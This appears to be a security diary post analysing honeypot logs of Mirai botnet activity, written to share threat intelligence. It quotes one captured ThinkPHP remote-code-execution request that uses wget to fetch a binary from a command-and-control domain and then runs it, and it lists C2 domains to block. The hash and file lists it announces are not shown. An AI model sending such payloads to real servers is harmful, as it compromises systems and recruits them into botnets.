Last Updated: 2018-12-23 20:05:13 UTC
by Guy Bruneau (Version: 2)
While reviewing my honeypot logs, I found some interesting entries associated with the Mirai botnet starting the 30 November 2018. This is the last log sample that was captured 2 days ago:
20181221-233854: 192.168.25.9:80-188.8.131.52:56831 data 'GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars=shell_exec&vars=cd%20/tmp;wget%20http://cnc.junoland.xyz/bins/egg.x86;cat%20egg.x86%20>%20lzrd;chmod%20777%20lzrd;./lzrd%20thinkphp.x86 HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Sefa\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.8\r\nConnection: Keep-Alive\r\n\r\n'
Looking at the entry, I noticed a URL that appears to attempt to download a file of interest (egg.x86). After checking the site, the filename had changed to larry.x86 and checking this hash against Virustotal, it shows an attempt to add this host to the Mirai botnet. The sites (listed below) have various exploits for various system including X86, MIPS, Internet of Things (IoT),etc. This is the list of files observed yesterday morning:
This is the list of files later that day:
Based on what I have been able to observe, the files appears to be modified at least twice each day (MD5 & SHA256 below) to fool and avoid detection.
Yesterday's MD5 & SHA25 Hashes
This is a list of sites to monitor for suspicious activity and block:
cnc.methaddict.xyz (currently offline)
cnc.arm7plz.xyz (currently offline)
cnc.junoland.xyz (currently active)